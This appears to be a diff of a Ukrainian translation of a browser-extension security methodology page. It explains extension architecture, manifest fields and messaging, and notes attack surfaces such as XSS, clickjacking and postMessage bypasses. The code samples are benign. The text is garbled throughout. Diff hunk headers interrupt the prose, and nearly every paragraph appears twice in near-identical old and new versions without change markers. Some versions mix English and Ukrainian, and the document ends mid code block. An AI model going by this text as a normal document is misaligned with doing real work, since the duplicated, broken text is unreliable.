<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Скрипти контенту**
### **Content Scripts**
Кожен скрипт контенту має прямий доступ до DOM **однієї веб-сторінки** і, таким чином, піддається **потенційно шкідливому вводу**. Однак скрипт контенту не має жодних дозволів, окрім можливості надсилати повідомлення до ядра розширення.
Each content script має прямий доступ до DOM **окремої веб-сторінки** і таким чином піддається **потенційно шкідливому вводу**. Однак content script не має дозволів, окрім можливості відправляти повідомлення до extension core.
### **Ядро розширення**
### **Extension Core**
Ядро розширення містить більшість привілеїв/доступу розширення, але ядро розширення може взаємодіяти з веб-контентом лише через [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) та скрипти контенту. Крім того, ядро розширення не має прямого доступу до хост-машини.
Extension core містить більшість привілеїв/доступу розширення, але extension core може взаємодіяти з веб-контентом лише через [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) і content scripts. Також extension core не має прямого доступу до хост-машини.
### **Рідний бінарний файл**
### **Native Binary**
Розширення дозволяє рідний бінарний файл, який може **доступатися до хост-машини з повними привілеями користувача.** Рідний бінарний файл взаємодіє з ядром розширення через стандартний Інтерфейс програмування додатків плагінів Netscape ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), який використовується Flash та іншими плагінами браузера.
Розширення може мати native binary, який може **отримувати доступ до хост-машини з повними привілеями користувача.** Native binary взаємодіє з extension core через стандартний Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)), що використовувався у Flash та інших browser plug-ins.
### Межі
### Boundaries
> [!CAUTION]
> Щоб отримати повні привілеї користувача, зловмисник повинен переконати розширення передати шкідливий ввід від скрипта контенту до ядра розширення і від ядра розширення до рідного бінарного файлу.
> Щоб отримати повні привілеї користувача, зловмисник має переконати розширення передати шкідливі дані від content script до extension's core і від extension's core до native binary.
Кожен компонент розширення відокремлений один від одного **сильними захисними межами**. Кожен компонент працює в **окремому процесі операційної системи**. Скрипти контенту та ядра розширення працюють у **пісочницях**, недоступних для більшості служб операційної системи.
Кожен компонент розширення відокремлений один від одного **міцними захисними межами**. Кожен компонент працює в **окремому процесі операційної системи**. Content scripts і extension cores запускаються в **sandbox processes**, недоступних для більшості служб операційної системи.
Більше того, скрипти контенту відокремлені від своїх асоційованих веб-сторінок, **працюючи в окремій купі JavaScript**. Скрипт контенту та веб-сторінка мають **доступ до одного й того ж базового DOM**, але двоє **ніколи не обмінюються вказівниками JavaScript**, що запобігає витоку функціональності JavaScript.
Крім того, content scripts відокремлені від пов'язаних веб-сторінок шляхом **запуску в окремому JavaScript heap**. Content script і веб-сторінка мають **доступ до того самого underlying DOM**, але вони **ніколи не обмінюються JavaScript pointers**, що запобігає leaking of JavaScript functionality.
## **`manifest.json`**
Розширення Chrome - це просто ZIP-папка з [.crx розширенням файлу](https://www.lifewire.com/crx-file-2620391). Ядро розширення - це **`manifest.json`** файл у корені папки, який вказує макет, дозволи та інші параметри конфігурації.
A Chrome extension — це просто ZIP-папка з розширенням файлу [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ядром розширення є файл **`manifest.json`** у корені папки, який визначає структуру, дозволи та інші параметри конфігурації.
Приклад:
Example:
```json
{
"manifest_version": 2,
@ -61,7 +61,7 @@
```
### `content_scripts`
Content scripts завантажуються щоразу, коли користувач переходить на відповідну сторінку, у нашому випадку на будь-яку сторінку, що відповідає виразу **`https://example.com/*`** і не відповідає регулярному виразу **`*://*/*/business*`**. Вони виконуються **як власні скрипти сторінки** і мають довільний доступ до [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) сторінки.
Content scripts **завантажуються** щоразу, коли користувач **переходить на відповідну сторінку** — у нашому випадку будь-яка сторінка, що відповідає виразу **`https://example.com/*`** і не відповідає регулярному виразу **`*://*/*/business*`**. Вони виконуються **як власні скрипти сторінки** і мають довільний доступ до сторінки через [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
```json
"content_scripts": [
{
@ -78,7 +78,7 @@ Content scripts завантажуються щоразу, коли корист
```
Щоб включити або виключити більше URL-адрес, також можна використовувати **`include_globs`** та **`exclude_globs`**.
Це приклад контентного скрипта, який додасть кнопку пояснення на сторінку, коли [API зберігання](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) буде використовуватися для отримання значення `message` з пам'яті розширення.
Це приклад content script, який додасть кнопку explain на сторінку, коли [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) використовується для отримання значення `message` зі сховища розширення.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,24 +91,24 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Повідомлення надсилається на сторінки розширення скриптом контенту, коли натискається ця кнопка, за допомогою [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Це пов'язано з обмеженням скрипта контенту в прямому доступі до API, де `storage` є одним з небагатьох винятків. Для функціональностей, що виходять за межі цих винятків, повідомлення надсилаються на сторінки розширення, з якими можуть спілкуватися скрипти контенту.
Коли ця кнопка натискається, content script відправляє повідомлення на extension pages через використання [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Це пов'язано з обмеженнями content script щодо прямого доступу до API, серед небагатьох винятків — `storage`. Для функціональностей поза межами цих винятків повідомлення відправляються на extension pages, з якими content scripts можуть взаємодіяти.
> [!WARNING]
> Залежно від браузера, можливості скрипта контенту можуть трохи відрізнятися. Для браузерів на базі Chromium список можливостей доступний у [документації Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), а для Firefox основним джерелом є [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis).\
> Також варто зазначити, що скрипти контенту мають можливість спілкуватися зі скриптами фону, що дозволяє їм виконувати дії та передавати відповіді назад.
> Залежно від браузера можливості content script можуть дещо відрізнятися. Для Chromium-based browsers список можливостей доступний у [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), а для Firefox основним джерелом є [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis).\
> Також варто зауважити, що content scripts можуть спілкуватися з background scripts, що дозволяє їм виконувати дії та передавати відповіді назад.
Для перегляду та налагодження скриптів контенту в Chrome меню інструментів розробника можна відкрити з Options > More tools > Developer tools АБО натиснувши Ctrl + Shift + I.
Для перегляду та відлагодження content scripts у Chrome меню Chrome developer tools можна відкрити через Options > More tools > Developer tools АБО натиснути Ctrl + Shift + I.
Після відображення інструментів розробника потрібно натиснути на **Source tab**, а потім на **Content Scripts** tab. Це дозволяє спостерігати за запущеними скриптами контенту з різних розширень і встановлювати точки зупинки для відстеження потоку виконання.
Після відкриття developer tools слід перейти на **Source tab**, а потім — на вкладку **Content Scripts**. Це дозволяє спостерігати за запущеними content scripts від різних розширень і ставити breakpoints для відстеження потоку виконання.
### Впроваджені скрипти контенту
### Інжектовані content scripts
> [!TIP]
> Зверніть увагу, що **скрипти контенту не є обов'язковими**, оскільки також можливо **динамічно** **впроваджувати** скрипти та **програмно впроваджувати їх** на веб-сторінках за допомогою **`tabs.executeScript`**. Це насправді забезпечує більш **докладний контроль**.
> Зверніть увагу, що **Content Scripts не є обов'язковими**, оскільки також можливо **динамічно** **інжектувати** скрипти та **програмно впроваджувати їх** у веб-сторінки через **`tabs.executeScript`**. Це надає більш **тонке управління**.
Для програмного впровадження скрипта контенту розширення повинно мати [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, на яку потрібно впровадити скрипти. Ці дозволи можуть бути отримані або **запитуючи їх** у маніфесті розширення, або тимчасово через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Для програмного впровадження content script розширенню необхідно мати [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) для сторінки, у яку будуть інжектовані скрипти. Ці дозволи можна отримати або шляхом **requesting them** у manifest розширення, або тимчасово через [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Приклад розширення на основі activeTab
#### Приклад розширення, заснованого на activeTab
```json:manifest.json
{
"name": "My extension",
@ -125,7 +125,7 @@ document.body.appendChild(div)
}
}
```
- **Вставити JS файл при натисканні:**
- **Інжектувати JS-файл при кліку:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange"
@ -152,7 +152,7 @@ func: injectedFunction,
})
})
```
#### Приклад з дозволами на сценарії
#### Приклад із дозволами на виконання скриптів
```javascript
// service-workser.js
chrome.scripting.registerContentScripts([
@ -171,15 +171,15 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
### Content Scripts `run_at`
Поле `run_at` контролює **коли JavaScript файли впроваджуються на веб-сторінку**. Бажане та значення за замовчуванням - це `"document_idle"`.
Поле `run_at` контролює **коли JavaScript-файли ін'єктуються в веб-сторінку**. Переважне та значення за замовчуванням — `"document_idle"`.
Можливі значення:
- **`document_idle`**: Коли це можливо
- **`document_start`**: Після будь-яких файлів з `css`, але до того, як буде побудовано будь-який інший DOM або виконано будь-який інший скрипт.
- **`document_start`**: Після будь-яких файлів з `css`, але перед тим, як буде побудовано інший DOM або виконано інший скрипт.
- **`document_end`**: Негайно після завершення DOM, але до завантаження підресурсів, таких як зображення та фрейми.
#### Via `manifest.json`
#### Через `manifest.json`
```json
{
"name": "My extension",
@ -195,7 +195,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
}
```
Шляхом **`service-worker.js`**
Через **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([
{
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Повідомлення, надіслані скриптами контенту, отримуються **фоновою сторінкою**, яка відіграє центральну роль у координації компонентів розширення. Зокрема, фонова сторінка зберігається протягом усього життя розширення, працюючи непомітно без прямої взаємодії з користувачем. Вона має власну модель об'єктів документа (DOM), що дозволяє здійснювати складні взаємодії та управління станом.
Повідомлення, надіслані content scripts, отримує **background page**, яка виконує центральну роль у координації компонентів розширення. Зауважте, що **background page** зберігається протягом усього життя розширення, працюючи непомітно без прямої взаємодії з користувачем. Вона має власний Document Object Model (DOM), що дозволяє складні взаємодії та управління станом.
**Ключові моменти**:
- **Роль фонової сторінки:** Виконує функцію нервового центру для розширення, забезпечуючи зв'язок і координацію між різними частинами розширення.
- **Постійність:** Це завжди присутній об'єкт, невидимий для користувача, але важливий для функціональності розширення.
- **Автоматичне створення:** Якщо не визначено явно, браузер автоматично створить фонову сторінку. Ця автоматично згенерована сторінка міститиме всі фонові скрипти, зазначені в маніфесті розширення, забезпечуючи безперебійну роботу фонових завдань розширення.
- **Background Page Role:** Діє як нервовий центр розширення, забезпечуючи комунікацію і координацію між різними частинами розширення.
- **Persistence:** Це постійний компонент, невидимий для користувача, але невід'ємний для функціональності розширення.
- **Automatic Generation:** Якщо не визначена явно, браузер автоматично створює background page. Автоматично згенерована сторінка включатиме всі background scripts, вказані в manifest розширення, забезпечуючи безперебійну роботу фонових задач розширення.
> [!TIP]
> Зручність, яку надає браузер, автоматично створюючи фонову сторінку (коли не оголошено явно), забезпечує інтеграцію та функціонування всіх необхідних фонових скриптів, спрощуючи процес налаштування розширення.
> Зручність, яку надає браузер, автоматично створюючи background page (коли вона не оголошена явно), гарантує, що всі необхідні background scripts інтегровані та працюють, спрощуючи процес налаштування розширення.
Приклад фонового скрипта:
Example background script:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,35 +227,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
Він використовує [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) для прослуховування повідомлень. Коли отримується повідомлення `"explain"`, він використовує [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) для відкриття сторінки в новій вкладці.
Воно використовує [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) для прослуховування повідомлень. Коли надходить повідомлення `"explain"`, воно використовує [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) щоб відкрити сторінку в новій вкладці.
Щоб налагодити фоновий скрипт, ви можете перейти до **деталей розширення та перевірити сервісний робітник,** це відкриє інструменти розробника з фоновим скриптом:
Щоб відлагодити фоновий скрипт, ви можете перейти до **extension details and inspect the service worker,** це відкриє інструменти розробника з фоновим скриптом:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### Сторінки параметрів та інше
### Options pages and other
Розширення браузера можуть містити різні види сторінок:
Розширення браузера можуть містити різні типи сторінок:
- **Сторінки дій** відображаються у **випадному меню, коли натискається іконка розширення.**
- Сторінки, які розширення **завантажить у новій вкладці.**
- **Сторінки параметрів**: Ця сторінка відображається поверх розширення при натисканні. У попередньому маніфесті я зміг отримати доступ до цієї сторінки за адресою `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` або натиснувши:
- **Action pages** відображаються в **drop-down when the extension ico**n натискається.
- Сторінки, які розширення буде **load in a new tab**.
- **Option Pages**: Ця сторінка відображається поверх розширення при натисканні. У попередньому manifest у моєму випадку я зміг отримати доступ до цієї сторінки в `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` або натиснувши:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Зверніть увагу, що ці сторінки не є постійними, як фонові сторінки, оскільки вони динамічно завантажують вміст за необхідності. Незважаючи на це, вони мають певні можливості з фоновою сторінкою:
Зверніть увагу, що ці сторінки не є постійними, як background pages, оскільки вони динамічно завантажують вміст у разі потреби. Незважаючи на це, вони мають певні можливості, спільні з фоновою сторінкою:
- **Зв'язок з контентними скриптами:** Подібно до фонової сторінки, ці сторінки можуть отримувати повідомлення від контентних скриптів, що полегшує взаємодію в межах розширення.
- **Доступ до специфічних API розширення:** Ці сторінки мають повний доступ до специфічних API розширення, залежно від дозволів, визначених для розширення.
- **Communication with Content Scripts:** Подібно до фонової сторінки, ці сторінки можуть отримувати повідомлення від content scripts, полегшуючи взаємодію всередині розширення.
- **Access to Extension-Specific APIs:** Ці сторінки мають повний доступ до extension-specific APIs, залежно від дозволів, визначених для розширення.
### `permissions` & `host_permissions`
**`permissions`** та **`host_permissions`** є записами з `manifest.json`, які вказують **які дозволи** має розширення браузера (сховище, місцезнаходження...) і на **яких веб-сторінках**.
**`permissions`** та **`host_permissions`** — це записи в `manifest.json`, які вказують, **які дозволи** має розширення браузера (storage, location...) і **на яких веб-сторінках**.
Оскільки розширення браузера можуть бути настільки **привілейованими**, зловмисне або скомпрометоване може дозволити зловмиснику **різні способи крадіжки чутливої інформації та шпигунства за користувачем**.
Перевірте, як працюють ці налаштування і як їх можна зловживати в:
Оскільки розширення браузера можуть мати дуже великі привілеї, шкідливе розширення або компрометоване розширення може надати атакувальнику різні способи крадіжки конфіденційної інформації та стеження за користувачем.
Перевірте, як ці налаштування працюють і як ними можуть зловживати в:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -263,13 +262,14 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
**Політику безпеки вмісту** також можна оголосити всередині `manifest.json`. Якщо вона визначена, вона може бути **вразливою**.
A **content security policy** також може бути оголошена всередині `manifest.json`. Якщо вона визначена, вона може бути **вразливою**.
За замовчуванням налаштування для сторінок розширення браузера є досить обмежувальними:
Налаштування за замовчуванням для сторінок розширення браузера досить обмежувальні:
```bash
script-src 'self'; object-src 'self';
```
Для отримання додаткової інформації про CSP та потенційні обходи, перегляньте:
Для більш детальної інформації про CSP та potential bypasses дивіться:
{{#ref}}
../content-security-policy-csp-bypass/
@ -277,7 +277,7 @@ script-src 'self'; object-src 'self';
### `web_accessible_resources`
щоб веб-сторінка могла отримати доступ до сторінки розширення браузера, наприклад, `.html` сторінки, ця сторінка повинна бути зазначена в полі **`web_accessible_resources`** файлу `manifest.json`.\
щоб веб-сторінка могла отримати доступ до сторінки Browser Extension, наприклад `.html`, ця сторінка має бути вказана у полі **`web_accessible_resources`** файлу `manifest.json`.\
Наприклад:
```javascript
{
@ -295,67 +295,68 @@ script-src 'self'; object-src 'self';
...
}
```
Ці сторінки доступні за URL, як:
Ці сторінки доступні за URL, наприклад:
```
chrome-extension://<extension-id>/message.html
```
У публічних розширеннях **ідентифікатор-розширення доступний**:
У публічних розширеннях **extension-id доступний**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
Однак, якщо параметр `manifest.json` **`use_dynamic_url`** використовується, цей **ідентифікатор може бути динамічним**.
Проте, якщо в `manifest.json` використовується параметр **`use_dynamic_url`**, цей **id може бути динамічним**.
> [!TIP]
> Зверніть увагу, що навіть якщо сторінка згадується тут, вона може бути **захищена від ClickJacking** завдяки **Політиці безпеки контенту**. Тому вам також потрібно перевірити це (розділ frame-ancestors) перед підтвердженням можливості атаки ClickJacking.
> Зверніть увагу, що навіть якщо сторінка згадується тут, вона може бути **захищена від ClickJacking** завдяки **Content Security Policy**. Тож вам також потрібно перевірити її (секція frame-ancestors) перед тим, як підтвердити, що атака ClickJacking можлива.
Дозвіл на доступ до цих сторінок робить їх **потенційно вразливими до ClickJacking**:
Доступ до цих сторінок робить їх **потенційно вразливими до ClickJacking**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> Дозволяючи завантажувати ці сторінки лише через розширення, а не через випадкові URL-адреси, можна запобігти атакам ClickJacking.
> Дозвіл завантаження цих сторінок лише розширенню, а не довільним URL, може запобігти атакам ClickJacking.
> [!CAUTION]
> Зверніть увагу, що сторінки з **`web_accessible_resources`** та інші сторінки розширення також можуть **контактувати з фоновими скриптами**. Тому, якщо одна з цих сторінок вразлива до **XSS**, це може відкрити більшу вразливість.
> Зауважте, що сторінки з **`web_accessible_resources`** та інші сторінки розширення також можуть **contacting background scripts**. Тому якщо одна з цих сторінок вразлива до **XSS**, це може відкрити серйознішу вразливість.
>
> Більше того, зверніть увагу, що ви можете відкривати лише сторінки, вказані в **`web_accessible_resources`**, всередині iframe, але з нової вкладки можливо отримати доступ до будь-якої сторінки в розширенні, знаючи ідентифікатор розширення. Тому, якщо XSS виявлено, зловживаючи тими ж параметрами, це може бути використано, навіть якщо сторінка не налаштована в **`web_accessible_resources`**.
> Крім того, зауважте, що ви можете відкривати в iframe лише сторінки, вказані в **`web_accessible_resources`**, але у новій вкладці можливо отримати доступ до будь-якої сторінки розширення, знаючи extension ID. Отже, якщо XSS знайдено з використанням тих самих параметрів, його можна буде використовувати навіть якщо сторінка не налаштована в **`web_accessible_resources`**.
### `externally_connectable`
Згідно з [**документацією**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), властивість маніфесту `"externally_connectable"` оголошує **які розширення та веб-сторінки можуть підключатися** до вашого розширення через [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) та [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
Згідно з [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), властивість манифеста `"externally_connectable"` визначає, **які розширення та веб-сторінки можуть підключатися** до вашого розширення через [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) та [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Якщо ключ **`externally_connectable`** **не** оголошений у маніфесті вашого розширення або він оголошений як **`"ids": ["*"]`**, **всі розширення можуть підключатися, але жодні веб-сторінки не можуть підключатися**.
- Якщо **вказані конкретні ідентифікатори**, як у `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **тільки ці програми** можуть підключатися.
- Якщо **вказані збіги**, ці веб-додатки зможуть підключатися:
- Якщо ключ **`externally_connectable`** **не** оголошено в маніфесті вашого розширення або він оголошений як **`"ids": ["*"]`**, **усі розширення можуть підключатися, але жодні веб-сторінки не можуть**.
- Якщо вказані **конкретні IDs**, наприклад `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **лише ті додатки** можуть підключатися.
- Якщо вказано **matches**, ті веб-додатки зможуть підключатися:
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- Якщо вказано як порожнє: **`"externally_connectable": {}`**, жоден додаток або веб-сайт не зможе підключитися.
- Якщо це вказано як пусте: **`"externally_connectable": {}`**, жоден app або web не зможе підключитися.
Чим **менше розширень і URL-адрес** вказано тут, тим **менша площа атаки** буде.
The **less extensions and URLs** indicated here, the **smaller the attack surface** will be.
> [!CAUTION]
> Якщо веб-сторінка **вразлива до XSS або захоплення** вказана в **`externally_connectable`**, зловмисник зможе **надсилати повідомлення безпосередньо до фонового скрипта**, повністю обходячи Content Script та його CSP.
> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
>
> Отже, це **дуже потужний обхід**.
> Therefore, this is a **very powerful bypass**.
>
> Більше того, якщо клієнт встановить шкідливе розширення, навіть якщо йому не дозволено спілкуватися з вразливим розширенням, воно може впроваджувати **XSS дані на дозволеній веб-сторінці** або зловживати **`WebRequest`** або **`DeclarativeNetRequest`** API для маніпуляції запитами на цільовому домені, змінюючи запит сторінки на **JavaScript файл**. (Зверніть увагу, що CSP на цільовій сторінці може запобігти цим атакам). Ця ідея походить [**з цього опису**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Moreover, if the client installs a rouge extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Підсумок комунікації
## Communication summary
### Розширення <--> Веб-додаток
### Extension <--> WebApp
Для комунікації між контент-скриптом і веб-сторінкою зазвичай використовуються повідомлення. Тому в веб-додатку ви зазвичай знайдете виклики функції **`window.postMessage`** та в контент-скрипті слухачі, такі як **`window.addEventListener`**. Однак зверніть увагу, що розширення також може **спілкуватися з веб-додатком, надсилаючи Post Message** (і тому веб повинен це очікувати) або просто змусити веб завантажити новий скрипт.
To communicate between the content script and the web page post messages are usually used. Therefore, in the web application you will usually find calls to the function **`window.postMessage`** and in the content script listeners like **`window.addEventListener`**. Note however, that the extension could also **communicate with the web application sending a Post Message** (and therefore the web should expect it) or just make the web load a new script.
### Всередині розширення
### Inside the extension
Зазвичай функція **`chrome.runtime.sendMessage`** використовується для надсилання повідомлення всередині розширення (зазвичай обробляється `background` скриптом), а для отримання та обробки його оголошується слухач, який викликає **`chrome.runtime.onMessage.addListener`**.
Usually the function **`chrome.runtime.sendMessage`** is used to send a message inside the extension (usually handled by the `background` script) and in order to receive and handle it a listener is declared calling **`chrome.runtime.onMessage.addListener`**.
Також можливо використовувати **`chrome.runtime.connect()`** для встановлення постійного з'єднання замість надсилання окремих повідомлень, його можна використовувати для **надсилання** та **отримання** **повідомлень**, як у наступному прикладі:
It's also possible to use **`chrome.runtime.connect()`** to have a persistent connection instead of sending single messages, it's possible to use it to **send** and **receive** **messages** like in the following example:
<details>
@ -390,19 +391,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
Також можливо надсилати повідомлення з фонової скрипта до контентного скрипта, розташованого в конкретній вкладці, викликавши **`chrome.tabs.sendMessage`**, де вам потрібно буде вказати **ID вкладки**, до якої потрібно надіслати повідомлення.
Також можна надсилати повідомлення з фонового скрипта до скрипта вмісту, розташованого в конкретній вкладці, викликавши **`chrome.tabs.sendMessage`**, де потрібно вказати **ID вкладки**, куди надсилається повідомлення.
### Від дозволених `externally_connectable` до розширення
**Веб-додатки та зовнішні розширення браузера, дозволені** в конфігурації `externally_connectable`, можуть надсилати запити, використовуючи:
**Веб‑застосунки та зовнішні розширення браузера, дозволені** у конфігурації `externally_connectable`, можуть надсилати запити, використовуючи :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Де потрібно згадати **ідентифікатор розширення**.
Там, де потрібно згадати **extension ID**.
### Native Messaging
Можливо, щоб фонові скрипти спілкувалися з двійковими файлами всередині системи, які можуть бути **схильні до критичних вразливостей, таких як RCE** якщо це спілкування не буде належним чином захищене. [Більше про це пізніше](#native-messaging).
Фонові скрипти можуть спілкуватися з бінарними файлами в системі, що може призвести до **критичних уразливостей, таких як RCEs**, якщо ця комунікація не буде належним чином захищена. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -412,9 +413,9 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** Content Script Communication
## Веб **↔︎** Content Script Комунікація
Середовища, в яких працюють **content scripts**, і де існують хост-сторінки, **відокремлені** одне від одного, що забезпечує **ізоляцію**. Незважаючи на цю ізоляцію, обидві сторони мають можливість взаємодіяти з **Document Object Model (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла взаємодіяти з **content script**, або опосередковано з розширенням через content script, необхідно використовувати **DOM**, доступний обом сторонам, як канал зв'язку.
Середовища, в яких виконуються **content scripts**, і де існують хост-сторінки, **відокремлені** одне від одного, забезпечуючи **ізоляцію**. Незважаючи на цю ізоляцію, обидва можуть взаємодіяти з **Document Object Model (DOM)** сторінки, спільним ресурсом. Щоб хост-сторінка могла налагодити спілкування з **content script**, або опосередковано з розширенням через content script, потрібно використовувати **DOM**, доступний обом сторонам, як канал зв'язку.
### Post Messages
```javascript:content-script.js
@ -451,15 +452,16 @@ window.postMessage(
false
)
```
Безпечна комунікація Post Message повинна перевіряти автентичність отриманого повідомлення, це можна зробити, перевіряючи:
A secure Post Message communication should check the authenticity of the received message, this can be done checking:
- **`event.isTrusted`**: Це True лише якщо подія була викликана дією користувача
- Контентний скрипт може очікувати повідомлення лише якщо користувач виконує якусь дію
- **origin domain**: може очікувати повідомлення лише з дозволеного списку доменів.
- Якщо використовується regex, будьте дуже обережні
- **Source**: `received_message.source !== window` можна використовувати для перевірки, чи повідомлення було **з того ж вікна**, де слухає Контентний Скрипт.
- **`event.isTrusted`**: Це True тільки якщо подія була викликана дією користувача
- The content script might expecting a message only if the user performs some action
- **origin domain**: може очікувати повідомлення лише з allowlist доменів.
- If a regex is used, be very careful
- **Source**: `received_message.source !== window` можна використати, щоб перевірити, чи повідомлення було **from the same window** де слухає Content Script.
The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**:
Попередні перевірки, навіть якщо їх виконано, можуть бути вразливими, тому перевірте на наступній сторінці **потенційні обходи Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@ -467,7 +469,8 @@ false
### Iframe
Ще один можливий спосіб комунікації може бути через **Iframe URLs**, ви можете знайти приклад у:
Another possible way of communication might be through **Iframe URLs**, you can find an example in:
{{#ref}}
browext-xss-example.md
@ -475,21 +478,22 @@ browext-xss-example.md
### DOM
Це не "точно" спосіб комунікації, але **веб і контентний скрипт матимуть доступ до веб DOM**. Тому, якщо **контентний скрипт** читає якусь інформацію з нього, **довіряючи веб DOM**, веб може **модифікувати ці дані** (тому що веб не повинен бути довіреним, або тому що веб вразливий до XSS) і **компрометувати Контентний Скрипт**.
Це не «точно» спосіб комунікації, але веб і content script матимуть доступ до web DOM. Тому, якщо content script читає якусь інформацію з нього, довіряючи web DOM, веб може **змінити ці дані** (оскільки вебу не слід довіряти, або через вразливість до XSS) і **компрометувати Content Script**.
You can also find an example of a **DOM based XSS to compromise a browser extension** in:
Ви також можете знайти приклад **DOM-орієнтованого XSS для компрометації розширення браузера** у:
{{#ref}}
browext-xss-example.md
{{#endref}}
## Комунікація Контентного Скрипта **↔︎** Фоновий Скрипт
## Content Script **↔︎** Background Script Communication
Контентний Скрипт може використовувати функції [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **або** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) для відправки **одноразового JSON-серіалізованого** повідомлення.
A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message.
Для обробки **відповіді** використовуйте повернутий **Promise**. Хоча, для зворотної сумісності, ви все ще можете передати **callback** як останній аргумент.
To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument.
Відправка запиту з **контентного скрипта** виглядає так:
Sending a request from a **content script** looks like this:
```javascript
;(async () => {
const response = await chrome.runtime.sendMessage({ greeting: "hello" })
@ -497,7 +501,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
Відправка запиту з **розширення** (зазвичай **фоновий скрипт**). Приклад того, як надіслати повідомлення до контент-скрипту у вибраній вкладці:
Надсилання запиту з **extension** (зазвичай з **background script**). Приклад того, як надіслати повідомлення до **content script** у вибраній вкладці:
```javascript
